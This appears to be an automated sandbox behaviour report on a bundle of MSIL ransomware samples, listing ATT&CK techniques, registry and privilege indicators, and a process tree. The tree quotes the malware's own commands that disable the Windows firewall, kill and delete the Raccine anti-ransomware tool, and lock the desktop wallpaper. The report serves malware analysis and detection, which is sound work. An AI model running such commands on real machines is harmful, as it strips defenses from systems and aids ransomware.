Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exetaskmgr.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Kills process with taskkill 48 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
5728	taskkill.exe
8120	taskkill.exe
7244	taskkill.exe
8456	taskkill.exe
3112	taskkill.exe
6420	taskkill.exe
6576	taskkill.exe
5788	taskkill.exe
5868	taskkill.exe
6808	taskkill.exe
5176	taskkill.exe
3044	taskkill.exe
7332	taskkill.exe
6148	taskkill.exe
6676	taskkill.exe
2692	taskkill.exe
6108	taskkill.exe
6112	taskkill.exe
7072	taskkill.exe
7432	taskkill.exe
7864	taskkill.exe
6068	taskkill.exe
3176	taskkill.exe
5156	taskkill.exe
5620	taskkill.exe
2940	taskkill.exe
6556	taskkill.exe
3032	taskkill.exe
7040	taskkill.exe
5552	taskkill.exe
5856	taskkill.exe
5660	taskkill.exe
7280	taskkill.exe
7200	taskkill.exe
5760	taskkill.exe
5572	taskkill.exe
5256	taskkill.exe
5772	taskkill.exe
6156	taskkill.exe
6416	taskkill.exe
5664	taskkill.exe
6368	taskkill.exe
5876	taskkill.exe
1360	taskkill.exe
6400	taskkill.exe
6504	taskkill.exe
1748	taskkill.exe
5892	taskkill.exe

Modifies registry class 2 IoCs

Processes:

cmd.exeOpenWith.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	OpenWith.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

212 reg.exe
Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXE

pid process

3448 PING.EXE
8484 PING.EXE
9276 PING.EXE
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

9980 schtasks.exe
6892 schtasks.exe

pid	process
212	reg.exe

pid	process
3448	PING.EXE
8484	PING.EXE
9276	PING.EXE

pid	process
9980	schtasks.exe
6892	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exetaskmgr.exetaskmgr.exe

pid	process
3252	powershell.exe
3252	powershell.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

7zFM.exetaskmgr.exe

pid process

4940 7zFM.exe
3580 taskmgr.exe

Suspicious use of AdjustPrivilegeToken 58 IoCs

Processes:

7zFM.exepowershell.exetaskmgr.exetaskmgr.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-b6e7072f1cafe3fc7ddc0e2dbb1e40b997b3824d606572ead26c33fefb20f153.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exeWMIC.exeHEUR-Trojan-Ransom.MSIL.Encoder.gen-4066d357b55fb66801389baf183151f514a74093f933750966557652f748aedb.exeHEUR-Trojan-Ransom.MSIL.Encoder.gen-880823dd9df0ca6047cd829a1031e8a167ccec0629fdeac40a097dd555debf7c.exe

description	pid	process
Token: SeRestorePrivilege	4940	7zFM.exe
Token: 35	4940	7zFM.exe
Token: SeSecurityPrivilege	4940	7zFM.exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	3628	taskmgr.exe
Token: SeSystemProfilePrivilege	3628	taskmgr.exe
Token: SeCreateGlobalPrivilege	3628	taskmgr.exe
Token: SeDebugPrivilege	3580	taskmgr.exe
Token: SeSystemProfilePrivilege	3580	taskmgr.exe
Token: SeCreateGlobalPrivilege	3580	taskmgr.exe
Token: 33	3628	taskmgr.exe
Token: SeIncBasePriorityPrivilege	3628	taskmgr.exe
Token: SeDebugPrivilege	1932	HEUR-Trojan-Ransom.MSIL.Gen.gen-b6e7072f1cafe3fc7ddc0e2dbb1e40b997b3824d606572ead26c33fefb20f153.exe
Token: SeDebugPrivilege	1092	HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe
Token: SeIncreaseQuotaPrivilege	3600	WMIC.exe
Token: SeSecurityPrivilege	3600	WMIC.exe
Token: SeTakeOwnershipPrivilege	3600	WMIC.exe
Token: SeLoadDriverPrivilege	3600	WMIC.exe
Token: SeSystemProfilePrivilege	3600	WMIC.exe
Token: SeSystemtimePrivilege	3600	WMIC.exe
Token: SeProfSingleProcessPrivilege	3600	WMIC.exe
Token: SeIncBasePriorityPrivilege	3600	WMIC.exe
Token: SeCreatePagefilePrivilege	3600	WMIC.exe
Token: SeBackupPrivilege	3600	WMIC.exe
Token: SeRestorePrivilege	3600	WMIC.exe
Token: SeShutdownPrivilege	3600	WMIC.exe
Token: SeDebugPrivilege	3600	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3600	WMIC.exe
Token: SeRemoteShutdownPrivilege	3600	WMIC.exe
Token: SeUndockPrivilege	3600	WMIC.exe
Token: SeManageVolumePrivilege	3600	WMIC.exe
Token: 33	3600	WMIC.exe
Token: 34	3600	WMIC.exe
Token: 35	3600	WMIC.exe
Token: 36	3600	WMIC.exe
Token: SeDebugPrivilege	3668	HEUR-Trojan-Ransom.MSIL.Encoder.gen-4066d357b55fb66801389baf183151f514a74093f933750966557652f748aedb.exe
Token: SeDebugPrivilege	4244	HEUR-Trojan-Ransom.MSIL.Encoder.gen-880823dd9df0ca6047cd829a1031e8a167ccec0629fdeac40a097dd555debf7c.exe
Token: SeIncreaseQuotaPrivilege	3600	WMIC.exe
Token: SeSecurityPrivilege	3600	WMIC.exe
Token: SeTakeOwnershipPrivilege	3600	WMIC.exe
Token: SeLoadDriverPrivilege	3600	WMIC.exe
Token: SeSystemProfilePrivilege	3600	WMIC.exe
Token: SeSystemtimePrivilege	3600	WMIC.exe
Token: SeProfSingleProcessPrivilege	3600	WMIC.exe
Token: SeIncBasePriorityPrivilege	3600	WMIC.exe
Token: SeCreatePagefilePrivilege	3600	WMIC.exe
Token: SeBackupPrivilege	3600	WMIC.exe
Token: SeRestorePrivilege	3600	WMIC.exe
Token: SeShutdownPrivilege	3600	WMIC.exe
Token: SeDebugPrivilege	3600	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3600	WMIC.exe
Token: SeRemoteShutdownPrivilege	3600	WMIC.exe
Token: SeUndockPrivilege	3600	WMIC.exe
Token: SeManageVolumePrivilege	3600	WMIC.exe
Token: 33	3600	WMIC.exe
Token: 34	3600	WMIC.exe
Token: 35	3600	WMIC.exe
Token: 36	3600	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

7zFM.exetaskmgr.exetaskmgr.exe

pid	process
4940	7zFM.exe
4940	7zFM.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exetaskmgr.exe

pid	process
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3628	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe
3580	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

OpenWith.exe

pid process

3524 OpenWith.exe

pid	process
3524	OpenWith.exe

Suspicious use of WriteProcessMemory 34 IoCs

Processes:

powershell.exetaskmgr.execmd.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.execmd.exe

description	pid	process	target process
PID 3252 wrote to memory of 3532	3252	powershell.exe	cmd.exe
PID 3252 wrote to memory of 3532	3252	powershell.exe	cmd.exe
PID 3628 wrote to memory of 3580	3628	taskmgr.exe	taskmgr.exe
PID 3628 wrote to memory of 3580	3628	taskmgr.exe	taskmgr.exe
PID 3532 wrote to memory of 888	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Blocker.gen-0531fa8add852becdab7c5235a9de90de117c0c6b06dcbcc58a397538e968f96.exe
PID 3532 wrote to memory of 888	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Blocker.gen-0531fa8add852becdab7c5235a9de90de117c0c6b06dcbcc58a397538e968f96.exe
PID 3532 wrote to memory of 3668	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Encoder.gen-4066d357b55fb66801389baf183151f514a74093f933750966557652f748aedb.exe
PID 3532 wrote to memory of 3668	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Encoder.gen-4066d357b55fb66801389baf183151f514a74093f933750966557652f748aedb.exe
PID 3532 wrote to memory of 3668	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Encoder.gen-4066d357b55fb66801389baf183151f514a74093f933750966557652f748aedb.exe
PID 3532 wrote to memory of 4244	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Encoder.gen-880823dd9df0ca6047cd829a1031e8a167ccec0629fdeac40a097dd555debf7c.exe
PID 3532 wrote to memory of 4244	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Encoder.gen-880823dd9df0ca6047cd829a1031e8a167ccec0629fdeac40a097dd555debf7c.exe
PID 3532 wrote to memory of 3632	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exe
PID 3532 wrote to memory of 3632	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exe
PID 3532 wrote to memory of 3632	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exe
PID 3532 wrote to memory of 1932	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Gen.gen-b6e7072f1cafe3fc7ddc0e2dbb1e40b997b3824d606572ead26c33fefb20f153.exe
PID 3532 wrote to memory of 1932	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Gen.gen-b6e7072f1cafe3fc7ddc0e2dbb1e40b997b3824d606572ead26c33fefb20f153.exe
PID 3532 wrote to memory of 1932	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Gen.gen-b6e7072f1cafe3fc7ddc0e2dbb1e40b997b3824d606572ead26c33fefb20f153.exe
PID 3532 wrote to memory of 1092	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe
PID 3532 wrote to memory of 1092	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe
PID 3532 wrote to memory of 1092	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe
PID 1092 wrote to memory of 1524	1092	HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe	cmd.exe
PID 1092 wrote to memory of 1524	1092	HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe	cmd.exe
PID 1092 wrote to memory of 1524	1092	HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe	cmd.exe
PID 3532 wrote to memory of 4664	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Gen.gen-c432a01904467c55ef316fec2973f10e09f1a1053faf574683c5097174caaa38.exe
PID 3532 wrote to memory of 4664	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Gen.gen-c432a01904467c55ef316fec2973f10e09f1a1053faf574683c5097174caaa38.exe
PID 3532 wrote to memory of 4664	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Gen.gen-c432a01904467c55ef316fec2973f10e09f1a1053faf574683c5097174caaa38.exe
PID 3632 wrote to memory of 4464	3632	HEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exe	RSW.exe
PID 3632 wrote to memory of 4464	3632	HEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exe	RSW.exe
PID 1524 wrote to memory of 3600	1524	cmd.exe	WMIC.exe
PID 1524 wrote to memory of 3600	1524	cmd.exe	WMIC.exe
PID 1524 wrote to memory of 3600	1524	cmd.exe	WMIC.exe
PID 3532 wrote to memory of 3936	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
PID 3532 wrote to memory of 3936	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
PID 3532 wrote to memory of 3936	3532	cmd.exe	HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

3712 attrib.exe

pid	process
3712	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\RNSM00460.7z
1⤵
- Modifies registry class
PID:212

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3524

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3688

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00460.7z"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4940

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3252
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3532
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.MSIL.Blocker.gen-0531fa8add852becdab7c5235a9de90de117c0c6b06dcbcc58a397538e968f96.exe
    HEUR-Trojan-Ransom.MSIL.Blocker.gen-0531fa8add852becdab7c5235a9de90de117c0c6b06dcbcc58a397538e968f96.exe
    3⤵
    - Executes dropped EXE
    PID:888
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.MSIL.Encoder.gen-4066d357b55fb66801389baf183151f514a74093f933750966557652f748aedb.exe
    HEUR-Trojan-Ransom.MSIL.Encoder.gen-4066d357b55fb66801389baf183151f514a74093f933750966557652f748aedb.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3668
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.MSIL.Encoder.gen-880823dd9df0ca6047cd829a1031e8a167ccec0629fdeac40a097dd555debf7c.exe
    HEUR-Trojan-Ransom.MSIL.Encoder.gen-880823dd9df0ca6047cd829a1031e8a167ccec0629fdeac40a097dd555debf7c.exe
    3⤵
    - Modifies WinLogon for persistence
    - Executes dropped EXE
    - Sets desktop wallpaper using registry
    - Suspicious use of AdjustPrivilegeToken
    PID:4244
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exe
    HEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3632
  - - C:\Users\Admin\AppData\Local\Temp\RSW.exe
      "C:\Users\Admin\AppData\Local\Temp\RSW.exe"
      4⤵
      Executes dropped EXE
      PID:4464
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /cnetsh firewall set opmode disable
        5⤵
        
        PID:1588
      - C:\Windows\system32\netsh.exe
        
        netsh firewall set opmode disable
        6⤵
        Modifies Windows Firewall
        
        PID:4476
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /cwscript.exe t.vbs preventchangedesktop.bat
        5⤵
        
        PID:924
      - C:\Windows\system32\wscript.exe
        
        wscript.exe t.vbs preventchangedesktop.bat
        6⤵
        
        PID:8
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\preventchangedesktop.bat" "
        7⤵
        
        PID:1904
        
        C:\Windows\system32\reg.exe
        
        REG add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_DWORD /d 1 /f
        8⤵
        
        PID:780
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\desktop.vbs"
        5⤵
        
        PID:3808
      - C:\Windows\System32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" user32.dll,UpdatePerUserSystemParameters
        6⤵
        
        PID:2332
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\task.vbs"
        5⤵
        
        PID:4496
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\windowdefender.vbs"
        5⤵
        
        PID:1504
      - C:\Windows\System32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" user32.dll,UpdatePerUserSystemParameters
        6⤵
        
        PID:1472
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.MSIL.Gen.gen-b6e7072f1cafe3fc7ddc0e2dbb1e40b997b3824d606572ead26c33fefb20f153.exe
    HEUR-Trojan-Ransom.MSIL.Gen.gen-b6e7072f1cafe3fc7ddc0e2dbb1e40b997b3824d606572ead26c33fefb20f153.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1932
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe
    HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1092
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1524
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3600
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.MSIL.Gen.gen-c432a01904467c55ef316fec2973f10e09f1a1053faf574683c5097174caaa38.exe
    HEUR-Trojan-Ransom.MSIL.Gen.gen-c432a01904467c55ef316fec2973f10e09f1a1053faf574683c5097174caaa38.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4664
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
    HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3936
  - - C:\Windows\SysWOW64\taskkill.exe
      "taskkill" /F /IM RaccineSettings.exe
      4⤵
      Kills process with taskkill
      PID:3112
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe
      4⤵
      PID:3632
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe *32
      4⤵
      PID:3176
  - - C:\Windows\SysWOW64\reg.exe
      "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
      4⤵
      PID:1168
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 conhost.exe
      4⤵
      PID:2560
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net.exe
      4⤵
      PID:3368
  - - C:\Windows\SysWOW64\reg.exe
      "reg" delete HKCU\Software\Raccine /F
      4⤵
      Modifies registry key
      PID:212
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 net1.exe
      4⤵
      PID:2188
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /DELETE /TN "Raccine Rules Updater" /F
      4⤵
      PID:852
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 ARP.EXE
      4⤵
      PID:3860
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 icacls.exe
      4⤵
      PID:2344
  - - C:\Windows\SysWOW64\sc.exe
      "sc.exe" config Dnscache start= auto
      4⤵
      Launches sc.exe
      PID:3548
  - - C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe
      "C:\Users\Admin\AppData\Local\Temp\zqihe2o4.exe" 3580 cmd.exe
      4⤵
      PID:2944
  - - C:\Windows\SysWOW64\sc.exe
      "sc.exe" config FDResPub start= auto
      4⤵
